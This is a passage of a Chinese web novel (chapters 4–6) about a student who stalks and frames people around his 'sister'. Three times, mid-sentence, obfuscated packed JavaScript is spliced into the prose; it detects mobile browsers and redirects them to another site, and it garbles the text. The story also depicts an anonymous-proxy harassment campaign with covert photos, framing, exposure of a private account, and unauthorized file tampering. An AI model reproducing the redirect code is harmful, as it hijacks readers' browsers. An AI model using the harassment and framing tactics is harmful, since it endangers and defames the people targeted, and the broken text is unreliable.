他的眼神专注而冷漠,像是在破解一道复杂的数学题,而不是在谋划一场精准的报复。 4. 第 4 章 晏铮很了解李露雨,毕竟两人已经做了两年多的室友。 这家伙自从大一在迎新晚会上瞄到隔壁艺术学院跳舞的张佳佳,魂儿就丢了一半。 追了这么久,微信加了,早安晚安嘘寒问暖没断过,礼物也送过几次,但始终卡在朋友以上、恋人未满。 张佳佳对李露雨的态度,用李露雨自己的话说是“女神有点高冷,考验我呢”。 晏铮知道,其实就是张佳佳不太看得上,但也没到厌恶删除的地步,毕竟李露雨脸皮厚又殷勤。 晏铮的目标很简单:把张佳佳对晏铮的“没到厌恶”变成“非常厌恶”,并且删除动作由她亲手完成。 他在手机里调出了一个自研的后台工具界面,里面全是参数和日志流。 这玩意本来是用来测试网络服务异常行为模拟的,现在被他用来模拟一个“张佳佳的窥探者加骚扰者”。 第一步,定位。 通过宿舍WiFi,定位到李露雨常用的几个社交平台账号,重点是他和张佳佳唯一的直接联系通道:微信。获取张佳佳的微信号只是时间问题。 第二步,伪造源头。 晏铮在云端快速搭建了一个层层跳转的匿名代理节点,确保IP地址像打水漂的石子,在多个国家地区间弹跳,最后落点毫无意义。 他在这个环境下,注册了一个没有任何个人痕迹的微信小号。头像用的是网上随便扒的网红风景图,昵称是一个没有意义的字母数字组合。 第三步,塑造变态人设。 他用这个小号,开始执行预设脚本。 首先是高强度浏览张佳佳的所有公开社交平台,包括微博、抖音、学校论坛里她发过的帖子。 脚本模拟人工操作,但频率极高,几乎是她一发新内容,几秒内就被访问,而且重复访问旧内容。 接着,小号开始给张佳佳发微信好友申请。 申请理由第一条,【佳佳学姐跳舞太美了,我每天都看你的视频,能认识一下吗?】 张佳佳没理。这很正常,这种申请她可能收多了。 十分钟后,第二条申请发出,【学姐,我在你宿舍楼下看到你了,今天穿的蓝裙子真衬你。】 这条带着点具体信息,但还在“偶遇”的范畴。晏铮猜张佳佳可能皱了皱眉,还是没理。 又过了二十分钟,第三条申请带着图片轰炸来了。 那是几张张佳佳在校园里不同地点被偷拍的照片,有的是隔着窗户拍的,有的照片背景被红圈圈了出来,旁边一行小字:“这是你今天下午上课的教室吧?” 申请理由,【学姐,你每一个样子我都好喜欢,想你。】 这是关键。尺度瞬间从“有点烦人的追求者”升级到“令人毛骨悚然的偷窥狂”。 晏铮冷静地看着脚本执行。 他知道,以张佳佳的性格,收到这种带着偷拍照片来点明她行踪的申请,绝对会感到强烈的厌恶。 她第一时间会拉黑这个恐怖的小号,然后陷入巨大的恐慌:谁干的?这人还知道什么?他是不是一直在跟踪我? 第四步,诱导联想,祸水东引。 脚本暂停了几分钟,给张佳佳留下恐惧发酵的时间。 然后,他换了个虚拟号,绕过微信好友验证,再次发送了一条短信。 短信内容极其简短,只有一句话【你删了我也没有用,李露雨手上有更多照片。】 这条短信的目的不是让张佳佳相信短信本身,而是要在她惊魂未定的大脑中,强制植入一个关联:李露雨=偷窥狂/指使者/威胁者。 她大概会想起李露雨这两年的纠缠。他那些笨拙的殷勤,此刻在她惊恐的滤镜下,会扭曲成别有用心的可怕铺垫。 “怪不得他一直缠着我,原来是个变态!” 这种联想一旦形成,根本不需要证据,她自然会做出反应,彻底切断与“李露雨”这个危险源的所有联系。 做完这一切,晏铮退出了所有界面,清空了后台痕迹。 他脸上依旧没什么表情,仿佛刚才只是刷了会儿朋友圈。 宿舍里,李露雨正对着手机屏幕傻乐,大概又在看某个搞笑视频。 时间一分一秒过去。键盘声停了,打游戏的室友纪然摘下耳机,站起来伸了个懒腰:“妈的,又跪了,出去抽根烟。” 张超也收拾完毕,戴上耳机开始看剧。 李露雨刷视频刷得有点无聊,手指漫无目的地在屏幕上划拉着。 他点开微信,习惯性地划到那个置顶却没几个对话的聊天框“佳佳女神”。 昨天分享给她的那个他觉得巨搞笑的段子,她还没回。也许是忙吧,他决定再主动一点。 他点开输入框,删删改改,最后还是打了句最常用的:“佳佳,在干嘛呢,吃饭没?”后面跟了个憨笑的表情。 一秒钟后,一个刺眼的红色感叹号弹了出来,下面一行冰冷的小字: “巢倪燕燕开启了朋友验证,你还不是他(她)朋友。请先发送朋友验证请求。” 李露雨脸上的傻笑瞬间冻结了。 他用手指使劲戳了戳那个红色感叹号。 没变。 他退出聊天框,再点进去。 还是那个红色感叹号。 他手有点抖,点开张佳佳的头像,想看看朋友圈,但那里只剩下一道扎眼的横线。 “操!”李露雨声音里充满了困惑和受伤,像个被突然抛弃的孩子。 他拼命回想,是不是自己昨天发那个段子太蠢了?前天问她在哪吃饭是不是太烦了?大前天…… 他脑子里一团浆糊,完全找不到任何能导致被直接删除的理由。 窗外的阳光斜斜照进来,在晏铮的桌角分割出一块明亮的光斑。 他靠在椅背上,眼角的余光扫过对面床上那个失魂落魄的身影。他抿了一下唇角,整个人像是沉在光影交界处的静默深海。 —————————— 下午六点,隋心喜收拾好包,打卡下班,随着人流走出旋转门。 “心喜,下班啦?”一个温和的声音在旁边响起。 隋心喜转头,是同个项目组的谭觉。他今天穿了件灰色的衬衫,看起来成熟稳重。 她跟着笑了笑,脚步没停,“嗯,是啊。” 谭觉快走两步和她并肩:“心喜,晚上有空吗?我知道有家新开的粤菜馆子不错,想跟你聊聊项目上那个接口优化的事,还有一些别的事情。” 隋心喜脚步顿了一下,想起王雪今早八卦的眼神,又看看谭觉。 她其实不太热衷纯社交的饭局,但谭觉这人平时工作挺配合,人也不错,直接拒绝好像不太好。 她抬手看了眼手表,“行啊,正好我也有些想法。不过我得先去趟江市大学新校区,给我弟弟送个笔记本,他落我车上了。” 谭觉立刻反应过来,就是今早那个在楼下引起小小骚动的“弟弟”。 “没事没事,这个时间有点堵车,我们开一个车就好吧?送完东西咱们直接过去吃饭,时间正好”,他掏出车钥匙按了一下,不远处一辆白色的轿车亮起了灯。 “那多麻烦你”,隋心喜有点不好意思。 “同事嘛,有什么麻烦的”,谭觉拉开副驾驶的门,“请吧。” 盛情难却,隋心喜道了谢,坐进了副驾驶。谭觉发动车子,汇入晚高峰的车流。 车里放着轻柔的音乐。谭觉很会聊天,先是顺着接口优化的话题聊了一会技术细节,然后转到公司最近的趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490813|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻,接着又夸了夸江市大学新校区环境好。 隋心喜本来有点疲惫,被他逗得放松下来,偶尔也笑着回应几句。车窗外的霓虹灯一盏盏亮起,映在两人脸上。 谭觉觉得氛围不错,心里挺高兴。他一边开车,一边琢磨着待会儿吃饭时,怎么把话题引到自己真正想说的方向上。 江市大学新校区门口车水马龙,谭觉好不容易找了个临时停车位。隋心喜摸出手机给晏铮打电话。 晏铮很快来到了校门口,正当他在找寻隋心喜的身影时,脚步忽然停住了。 隔着几十米的距离,他看到驾驶座上的谭觉侧着身,正对着副驾上的隋心喜说话。 隋心喜听着,脸上带着放松的笑意,甚至还抬手比划了一下什么。 夕阳的余晖柔和地洒在车内,那画面看起来很和谐,也很刺眼。 晏铮插在裤兜里的手,无意识地掐了一下掌心。那点刺痛感让他清醒地维持着表面的平静。 他调整了一下呼吸,才不紧不慢地朝小轿车走去。 谭觉先看到了晏铮,笑着提醒隋心喜:“哎,你弟弟来了。” 隋心喜赶紧转头,从车窗里探出手来招呼:“晏铮,这边!” 晏铮过来了,脸上已经换上了隋心喜熟悉的表情。 他喊了一声姐,目光转向驾驶座的谭觉,点了点头,算是打过招呼。 隋心喜从包里翻出一个黑色的笔记本,递给他,“喏,给你。下次小心点,别又落下了。” “知道了,谢谢姐”,晏铮接过本子,刚放进双肩包里,就压抑地咳了一声,抬手按住了腹部。 隋心喜立刻察觉到不妥,问:“你怎么了?” 晏铮低着头,放在胃部的手用了点力,虚弱地开口:“没事,可能中午吃的有点急,胃里不太舒服。” 隋心喜的眉头立刻拧紧了,开门下了车,“怎么搞的,疼得厉害吗?” 她的关切之情溢于言表,完全忘了刚才还说要跟谭觉去吃饭的事。 “还好,没事,你们去吃饭吧,我回宿舍休息一下就好”,晏铮抬起头,努力扯出一个安抚的笑容,看起来有点勉强,甚至带着让人心疼的脆弱感。 “这怎么行?”隋心喜看着晏铮按着胃的手,很是担忧,“胃疼起来可大可小,你今天中午吃的什么?是不是光顾着弄代码又瞎应付了?” “真的没事”,晏铮嘟囔了一句,腰却弯得更加厉害了。 谭觉坐在驾驶位上,握着方向盘的手指紧了紧。这情况下,饭显然是吃不成了。 他心里有点堵,但看着隋心喜那完全被弟弟状况吸引过去的担忧神情,又不好说什么。 他勉强维持着风度,开口道:“心喜,要不你先陪晏铮去看看,吃饭的事咱们改天。” 隋心喜这才想起车上还有谭觉这个人,以及之前的约定。 她脸上瞬间充满了歉意,连忙道:“谭觉,真不好意思!你看这……太抱歉了!改天,改天一定我请你,今天实在是对不住,我得先顾着他,这孩子从小胃就有点弱。” “没关系没关系,当然是晏铮的身体要紧”,谭觉连忙摆手,脸上挤出宽宏大量的笑容,心里却有点苦涩,“你快去吧。” 隋心喜看着谭觉的车子开走了,她伸手去扶晏铮:“能不能走?” 晏铮没有避开。他看向校门斜对面那条热闹的小吃街,那里灯火通明,飘散着各种食物的香气。 他告诉隋心喜:“刚才那一阵确实不舒服,这会好多了,就是有点饿。” 隋心喜根本没多想,晏铮为什么突然从“胃疼”无缝切换到“有点饿”。 她顺着他的目光看过去,立刻拍板:“行,那姐请你吃面。这附近有家老字号的面馆,汤特别好,暖胃。” 5. 第 5 章 谭觉觉得今天早上有点邪门。 他像往常一样,卡着点走进富邦科技的写字楼。 电梯里站着两个小姑娘,平时在走廊碰见,还会笑着跟他打招呼,可今天眼神一对上他,立马就飘开了。 前边那个技术部的大哥,平时挺木讷一人,也回头看了他一眼,眼神怪怪的。 “搞什么……”谭觉心里嘀咕了一句,有点莫名其妙。 电梯门开了,他随着人流往外走,一路穿过开放办公区,这种感觉更明显了。 他似乎成了个移动的焦点,走到哪儿,哪儿就有视线落在他身上,然后留下一些压低的交谈声。 有几个平时关系还不错的同事,看到他过来,脸上表情有点尴尬,想打招呼又像不知道说什么,最后干脆埋头看屏幕了。 谭觉皱了皱眉,心头不对劲的感觉越来越浓。 他坐到自己的工位上,打开电脑。 他习惯性地先点开邮箱,收件箱里躺着好几封未读,最上面一封标题赫然写着:【关于员工谭觉网络不当言论的举报】,发件的邮箱号很陌生。 谭觉的心一沉,手指有点僵,点开了邮件。里面没有长篇大论的控诉,就是贴了一堆截图和链接。 谭觉先点开链接,跳转到国内有名的社交论坛情感板块。 而截图里是一个ID叫“夜风独酌”的用户发言记录,时间跨度很长,都是近几年的了。 帖子内容各种各样,言语粗俗不堪,充满了对女性身体和人格的侮辱性想象。 还有一些是炫耀自己撩妹战绩的吹牛,这个ID编造了一堆“一夜情”,语气轻佻又得意。 还有几段,是对公司女同事身材和外貌的猥琐点评和打分。 谭觉像被人狠狠抽了一耳光,脸一下子火辣辣的,后背的冷汗也冒了出来。 这个“夜风独酌”是他的小号,是他藏在网络背后,发泄那些现实中不敢也不能说的阴暗念头和低级趣味的地方。 他自以为藏得很好,只是上网口嗨一下,但现在这些不堪入目的东西,被扒出来做成了图文并茂的“罪证”,还发给了公司所有人。 四周那些躲闪的、探究的、鄙夷的目光,此刻都有了明确的指向。 他苦心经营了那么久的勤恳稳重的单身优质男形象,这一刻碎得连渣都不剩了。 这时候,他的手机在桌面上震动起来,是隔壁组黄强的来电。两人平时走得比较近,经常一起抽烟打游戏。 谭觉接起电话,压低声音“喂”了一声。 黄强的声音压得更低,“你丫看到邮件没? “刚看到”,谭觉感觉喉咙发紧。 “我操!这他妈谁干的啊?”黄强在那头忍不住骂了出来,“那ID真是你?” 谭觉没吭声,算是默认了,巨大的羞耻感包围着他。 “平时看你人模狗样的,背地里……嗐!”黄强顿了顿,提醒道:“现在全公司都知道了,老大刚才脸色铁青地过去了,我看你这事有点悬,搞不好要滚蛋。你最近是不是得罪什么人了?这明显就是要让你在公司混不下去啊!” 得罪人? 谭觉脑子里一片混乱。他过起最近的一些片段,不知怎么的,昨天傍晚江大门口的场景就跳了出来。 当时,他就觉得晏铮看他的眼神有点不对劲,似乎充满了审视和敌意。后来,晏铮还说胃痛,把隋心喜的注意力全勾走了,现在想想,那就是赤裸裸的占有欲啊! 而且,昨晚刚跟隋心喜约饭失败,今天一早自己就身败名裂。这时间点卡得太他妈精准了,哪有这么巧的事? 一股怒火窜了上来,烧得谭觉眼睛都红了。 他也顾不上周围人的目光了,站起来抓起桌上的车钥匙,就往电梯口冲。他必须去找晏铮问个清楚! 一路飞车赶到江市大学。谭觉把车随便往路边一停,问了路人,大概知道了计算机科学与技术学院的位置,憋着一股邪火就直奔目的地。 现在正是上午课间,校园里学生很多,三五成群,青春洋溢。 谭觉穿着格格不入的衬衫西裤,脸色铁青,眼神凶狠地四处扫视。他这样子太扎眼了,不少学生都好奇地看着他。 他本想冲进最近的教学楼,却瞥见小花园的长椅上,坐着一个人。 那人穿着简单的T恤牛仔裤,一条腿随意地曲着,低着头在玩手机。 谭觉只觉得一股热血直冲头顶。他三步并作两步冲了过去,像一头被激怒的公牛。 “晏铮!”谭觉咆哮着喊出这个名字。 长椅上的年轻人闻声抬起头。看到怒气冲冲的谭觉,他没站起来,只是微微歪了歪头,语气带着点疑惑:“谭先生,你怎么在这儿?” 这表情看在谭觉眼里,简直是火上浇油。 装!还他妈装! “我为什么在这儿,你没点逼数吗?”谭觉站到晏铮面前,居高临下地瞪着他,“是不是你干的?今天早上那封邮件,那些截图,是不是你搞的鬼?” 谭觉吼得很大声,引得旁边路过的几个学生都停下了脚步,诧异地看过来。 晏铮眨了眨眼,往后一缩,像是被谭觉的怒气吓到了:“你在说什么?我不明白。” 谭觉气得冷笑起来,手指几乎要戳到晏铮鼻子上,“别再给我装傻!昨天你故意把你姐从我跟前叫走,今天一早,老子在公司就成了过街老鼠。那些陈芝麻烂谷子的帖子,都被翻出来发给了全公司。你敢说这事儿跟你没关系?是不是你找人查我,黑我账号?你好狠啊!” 晏铮静静地听着他的咆哮,脸上的困惑慢慢褪去。他站起来,比谭觉还要高出半个头,他姿态放松,完全没有被威胁的紧张感。 他看着谭觉因为愤怒而扭曲的脸,就像在看一场闹剧,“谭先生,你现在的样子,很失态。这里是学校,请你冷静一点。” “老子饭碗都要没了,你让我冷静?”晏铮那副油盐不进的样子,让谭觉更加抓狂,他逼近一步,几乎要和晏铮脸贴脸,“你是有种做没种认吗?” 晏铮终于皱了皱眉头,有些不耐烦了,“你没有证据,就跑来学校对我大呼小叫,进行这种毫无根据的指控,这合适吗?” 他顿了顿,嗤了一声,透着一股刺骨的寒意,“而且,就算有什么人做了这件事,那也是因为你自己言行不端吧?那些话,可是你自己说出去的。一个在网络上满口污言秽语、对女性毫无尊重,现实中却想追求我姐姐的人……你真的觉得,你这样的人,配站在她身边吗?” 最后那句话隐含的鄙夷与挑衅,如同一根火柴,点燃了谭觉最后的理智。 什么后果,什么场合,全都被他抛到了九霄云外。他只知道眼前这个装模作样的小子该死,他要撕碎这张虚伪的脸! 他怒吼一声,双手用力推向晏铮的胸口。 晏铮似乎被这突如其来的动作吓了一跳,身体随着推力向后踉跄,摔在了地上。与此同时,他眼角的余光,精准地捕捉到了远处那个匆匆跑来的身影。 隋心喜今天本是来给晏铮送胃药的,但一眼就看到了谭觉来找晏铮对峙,又凶狠地推他。 她脸上的焦急,变成了惊愕和愤怒。她跑过去挡在晏铮面前,大声质问谭觉,“你怎么能打人呢?” 谭觉的双手僵在半空中,推人的动作还没来得及收回。他脸上的愤怒未散,又混杂了被隋心喜呵斥的难堪。 他连忙解释道:“你听我说,是他,是他先……” “够了!”隋心喜厉声打断他,眼里充满了失望和警惕,“你有什么话不能好好说,怎么能动手?他还是个学生,你疯了吗?” 晏铮站在隋心喜身后,一只手抓着隋心喜的胳膊,嘴唇紧抿着,看起来受了不小的惊吓和委屈。 他看着谭觉,眼神里全是受伤和不解,声音带着点哽咽:“姐,我没事,你别生气。谭先生他……他可能对我有些误会。不要因为我影响你们的关系。” 谭觉听着他弱小可怜又无助的语气,气得差点吐血。 他指着晏铮,对着隋心喜咆哮:“狗屁误会,隋心喜你看清楚,这小子他妈的在演戏!是他搞的鬼,是他把我弄得在公司身败名裂!他根本就是个……” “谭觉!”隋心喜再次厉声喝止了他,眼神冰冷而失望至极,“我不想听你在这里大喊大叫,更不允许你污蔑晏铮!你现在立刻离开这里,否则我叫保安了!” 谭觉看着隋心喜那副全然信任晏铮、把自己当成无理取闹施暴者的样子,再看看晏铮躲在隋心喜背后,那嘴角若有若无的讥诮弧度,他知道自己说什么都没用了。 他眼睛赤红地连胜说好,“隋心喜,你就护着他吧!你等着,我早晚会让你知道,这小畜生是什么玩意!” —————————— 谭觉再来找隋心喜,是三天后。 他一脚踹在隋心喜工位旁边的隔断板,震得她桌上的笔筒都跳了一下。 他手里捏着一份刚打印出来的项目成员名单,纸都被攥得皱了。 整个开放办公区安静得像被按了暂停键,所有人,不管是真忙还是装忙的,脑袋齐刷刷地转向这边。 隋心喜对上谭觉那副要吃人的样子,深吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490814|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口气,身子往椅背靠了靠,开口:“你有什么事吗?” 谭觉把那张皱巴巴的名单拍在隋心喜的桌子上,“你他妈什么意思?给老子解释清楚!” 隋心喜的目光扫过那张名单,在原本应该写着“谭觉”的位置,现在空空荡荡。 她给出了很官方的回应:“我是这个项目的负责人,成员调整是正常的流程。” “把我调整没了?”谭觉像是听到了天大的笑话,怪异地笑了一声,脸上的筋肉都在抽搐,“隋心喜,你跟我玩这套?这案子从一开始就是我跟你跑的。前期调研、中期方案、跟天盛那帮孙子喝酒喝到胃出血的是谁?是我!现在眼看要签合同了,你他妈想独吞功劳也别做得这么难看!” 说着,他往前逼近一步,身体几乎要压到隋心喜的桌子上,那股被压抑的怒火混杂着昨夜的酒气扑面而来。 隋心喜皱了皱眉,身体后仰,“功劳是团队的。项目需要什么样的人,负责人有权决定。目前评估认为,你不再适合继续参与。” “评估?谁评估,你评估?”谭觉的声音陡然拔高,“放你妈的屁!你是负责人就了不起,就能公报私仇了?” “请你注意言辞,这里是公司”,隋心喜的声音冷了下来,带上了警告的意味。 谭觉气得在原地转了小半圈,指着隋心喜的鼻子,唾沫星子几乎喷到她脸上,“行,你说公司是吧,那咱们就掰扯掰扯。老子为公司卖命的时候你在哪?现在倒好,为了你那个弟弟,你就能把老子一脚踢开,当老子是条狗啊,召之即来挥之即去?” “谭觉!”隋心喜的脸色终于变了。 她站起来,再度警告道:“你不要在这里胡说八道,请你立刻离开我的工位,不要影响大家工作!” 谭觉根本不买账,反而更来劲了,他脸上的表情扭曲着,有一种抓到把柄的得意,“你装什么?几天前你那好弟弟给我下套,转头你就来这招,你们姐弟俩配合打得挺好啊!一个阴险小人,一个假公济私,真他妈恶心透了!” “你闭嘴!”隋心喜的声音也拔高了,是被气的,也像是被戳中了什么。 周围同事的窃窃私语声嗡嗡地响起来,像无数只苍蝇在飞。 “凭什么我闭嘴,你们敢做还怕人说?”谭觉彻底豁出去了,他环视了一圈周围看热闹的人,似乎想拉拢同情,“大家伙都看看,咱们隋大负责人,为了护着她那个不知道哪冒出来的野弟弟,就这么对待一起拼命的同事,项目说踢就踢。天盛那边的关系,后续对接出问题了怎么办?她负得起这个责吗?我看她是被那个小白脸弟弟迷昏头了,连自己姓什么都忘了!” “谭觉!”一声极具穿透力的呵斥从人群外围响起。 看热闹的员工们像被施了魔法,瞬间安静下来,让开了一条通道。 管伟,富邦科技的项目总监,也是隋心喜和谭觉的顶头上司,沉着一张脸走了过来。 他的眼神像刀子一样,扫过剑拔弩张的两人,最后落在写满不甘的谭觉脸上。 “大清早的,在办公区大喊大叫,指着同事鼻子骂街,还踹公物?谭觉,你当这里是什么地方?菜市场,还是你家的炕头?” 谭觉嘴唇哆嗦了一下,想辩解:“管总,是她,她……” “她什么她!”管伟毫不客气地打断他,语气严厉,“项目成员调整,是负责人的职权范围。既然公司安排了隋心喜作为项目负责人,你骂她,就是在骂公司!” 他顿了顿,提起几天前的事,“公司邮箱里躺着的那些关于你在外面言论的邮件,我本来看在你过往表现的份上,还想给你留点面子,内部处理。现在看来,完全没必要了。” 管伟最后那句话,像一道惊雷劈在谭觉头上。他刚才那股子同归于尽的狠劲消失了,只剩下灭顶的绝望。 隋心喜也微微怔了一下,那份邮件果然是真的。她抿紧了嘴唇,沉默地站在一旁。 管伟厌恶地看了一眼彻底蔫了的谭觉,转向隋心喜,语气缓和了点,“天盛项目的最终名单确定了,就按你报的走。后续有任何问题,你全权负责处理。” “是,管总。”隋心喜立刻应道。 管伟点了点头,然后重新对面如死灰的谭觉道:“至于你,你的行为,严重违反了公司基本管理制度和员工行为规范,对公司形象和办公秩序造成了极其恶劣的影响。公司决定,即刻解除与你的劳动合同。” 他的目光扫过鸦雀无声的围观人群,像是在宣告,又像是在警告所有人:“谭觉,收拾你的个人物品,立刻离开公司。后续离职手续,由人事部联系你。” 6. 第 6 章 谭觉那通闹腾,弄得隋心喜这几天都没怎么睡好。 她揉着还有点发胀的太阳穴,拉开自己的工位椅子。 桌上还有昨天剩的半杯凉水,她端起来咕咚灌了一大口,冰得一激灵。 今天要盯紧天盛科技那个合作案的最终数据校验。这案子拖拖拉拉折腾了小半年,临门一脚了,可不能出岔子。 她熟练地点开项目文件夹,找到那个标记着“最终版-交付天盛”的Excel文件。 隋心喜对着屏幕上的数字表格,先扫了一眼最后几栏的汇总数据,眉头不由地就皱紧了。 这个数目,跟她昨天晚上最后核对完保存的那个版本,差了一大截。 她记得很清楚,昨天她走的时候,汇总栏里的项目总预算,明明是三百七十五万六千,而现在屏幕上显示的,变成了三百五十五万六千。 整整少了二十万。 隋心喜心里咯噔一下,赶紧拖动鼠标,一页一页往下翻,终于找到了问题出在“设备调试与后期维护”那一块。 明细表格里,原本标注着“专家调试费”的几项费用,数额全被改小了,八万的变成了五万,五万的变成了三万……零零总总加起来,正好少了二十万。 冷汗瞬间就冒出来了。 要是按这个错的版本发给天盛,对方一核对,立刻就会发现预算严重不符,天盛那边负责协调的几位高级工程师肯定会炸锅。 轻则项目延期,重则直接质疑富邦的专业性和诚信,告吹都有可能。这责任,百分之百会落到她这个负责人头上。 这份文件加了密,究竟是谁动的手脚? 她一时也没个头绪,干脆起身去茶水间接水,却听到了里面传来几声含义不明的低笑。 “嘘,小声点!”女声有点紧张,“别让她听见了。” 男声带着讥诮,“听见怎么了?谭觉那天说的有鼻子有眼的,你说她那个弟弟,是真弟弟吗?看着可不像,帅得……啧,谭觉那件事,我看保不齐就是这位弟弟的手笔。” 另一个女的接上话,“她那位置升得是快了点吧?管总对她好像也挺照顾。如果合作案砸她手里,看她怎么收场。” 那些窃窃私语,像细小的针,密密麻麻扎在隋心喜心上。 谭觉泼的脏水,加上公司有些人的煽风点火,“乱搞男女关系”“没实力”“关系户”这些标签,一夜之间就贴满了她后背。 这些灼热粘稠的流言,加上文件被篡改的冰凉刺骨,裹得隋心喜有点喘不过气。 不行。 她深吸了一口气,又缓缓吐出。 现在不是生气委屈的时候,当务之急是解决问题,保住项目,也保住自己的清白。 她必须比任何人都冷静。 她立刻做了几件事。 首先,她回到工位,更改电脑上的所有账号密码。 然后,她走到部门助理小赵的工位上,说:“我需要查一下昨天下午六点到今早八点之间,有谁碰过我的电脑。麻烦你现在调一下摄像头记录看看。” 接着,她拨通了富邦内部IT安全部门的电话。 她说:“我怀疑我的工作电脑,在我不知情且未授权的情况下,被他人非法登录并恶意篡改了重要项目文件。文件编号是PRJ-2025-TS-086,天盛合作案的最终预算表。我需要启用日志追踪功能,查证昨天的异常登录操作记录和文件修改痕迹。情况紧急,涉及重大商业合同,请尽快处理并给我反馈。” 做完这些,她在电脑上重新建了一个文档。然后,一个单元格一个单元格地核对备份文件里的原始数据,确保完全无误,再复制粘贴过来。 最后,她拿起手机,找到天盛接头经理的电话拨了过去。 她在电话里道了歉,强调:“为了确保绝对准确,避免后续任何可能的误解,我们正在进行一次彻底的紧急复核。我这边会亲自盯紧,确保今天中午之前,一定将双方确认无误的版本发送到您邮箱。耽误您一点时间,实在不好意思,但这个复核对保证项目顺利推进,非常关键。” 放下电话,她感觉手心全是汗,但心里稍微定了点。 稳住天盛这边,争取到了最关键的时间窗口。 刚松半口气,IT部的电话就回过来了:“日志显示,昨晚十一点二十三分,有一个异常登录记录,使用的是您本人的用户名和密码,但登录IP地址不是您常用的内网地址段,显示是一个动态IP,初步判断可能来自外部网络或者伪装。登录后,对您提到的文件进行了多次编辑并存档。” “好,明白了。非常感谢!请把这份详细的日志记录作为证据加密保存好,随时准备提供”,隋心喜的心沉了下去。果然有人黑了进来。 这时,小赵也过来了,脸色有点古怪:“看了监控,昨晚八点,黄强有在你办公桌前停留一会,抱着个文件夹,好像是要找文件的样子?但录像角度不太好,看不太清他具体做了什么。” 隋心喜心里咯噔一下。 天盛科技的供应链优化项目是她一手跟进的,谭觉被踢出去之后,她临时抽调了隔壁组的黄强顶上。黄强这人闷声不响,干活还算麻利,她本以为是个稳妥的选择。 但现在看来,很多事情也不是表面看到的那样。 她交代小赵保存好录像,然后点开内部通讯软件上,与黄强的对话框。 她故意发去信息:【黄强,天盛那边反馈,最终版金额与原始版本有重大出入,现在都要翻天了!你立刻过来一下我的工位,看看怎么回事。】 不到半分钟,黄强的回复就过来了,快得有点不正常:【不可能吧,是不是天盛那边搞错了?或者原始文件就有问题?】 隋心喜盯着这行撇清得飞快又把水搅得更浑的文字,嘴角抿成一条直线。 她直接去了管伟的办公室。 她开门见山的汇报:“管总,天盛合同金额出现重大异常,原始证据链显示有人恶意篡改,需要立即启动内部调查,并通知法务介入。我初步怀疑,黄强与已被辞退的谭觉有关联。” 接下来的半小时,隋心喜感觉自己像被按进了高速运转的滚筒洗衣机。 她条理清晰地汇报发现,指出疑点。管伟的脸色越来越铁青,中途摔了一次电话听筒,吼得外面工位上的人都缩了脖子。 黄强被叫进来时,眼神飘忽,还一口咬定事情与自己无关。 直到管伟将IT部紧急查到的,黄强和谭觉的加密通讯账号的往来记录摔在他面前,他终于瘫软下去,嘴唇哆嗦着,一个字也吐不出来。 一个多小时后,黄强被两个穿制服的人带走了,神情灰败。 他路过开放办公区时,脚步拖沓,回头看了一眼隋心喜的方向。 她正打着电话,语调清晰地和天盛那边的负责人沟通,屏幕上闪烁着复杂的图表。 黄强喉头滚动了一下,低下头跟着警察往外走,只有他胸前那张还没摘下的门禁卡,提醒着他最后的存在痕迹。 而那些针对隋心喜的议论和猜忌,像被一阵突如其来的狂风,吹得干干净净,只剩下无声的敬畏。 —————————— 晏铮推开橡木门,酒窖的木架子上面横七竖八搁着些酒瓶子,落满了灰。 储嘉骐正蹲在一个打开的木头箱子前,扒拉着里面的旧杂志。 晏铮喊了一声“储哥”,储嘉骐没回头,继续扒拉:“自己找地方坐,这儿有年头没来了。” 晏铮没坐,酒窖里也没正经凳子,就几个摞起来的空木箱。 他走到储嘉骐旁边,也蹲下来,看着箱子里一堆乱七八糟的书刊光盘,“找什么呢,古董?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490815|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 储嘉骐拍拍手上的灰,站起来,“想看看以前的老资料有没有能用的,结果全是垃圾。算了。” 他上下扫了晏铮一眼,“喝点?这儿别的没有,瓶子管够,就是不知道里头是酒还是醋了。” 晏铮也站起来,拍了拍裤子上蹭的灰,“不了,刚吃过饭。” 储嘉骐没坚持,走到角落一个小桌子旁,那上面干净点,放着他带来的笔记本电脑。他问:“怎么样,你那系统运行还顺溜?” 晏铮靠在冰凉的石头墙壁上,寒气透过薄T恤渗进来,“还行,挺稳的。昨天跑了趟大模型训练,参数调了调,效率又上去点。” “那就好,我就怕你这边撂挑子,那我投的钱可打水漂了”,储嘉骐盯着晏铮,问:“系统跑起来了,咱是不是该琢磨下一步了?开公司的事,你考虑得咋样了?” 晏铮摇摇头,“急什么,现在不也挺好。” 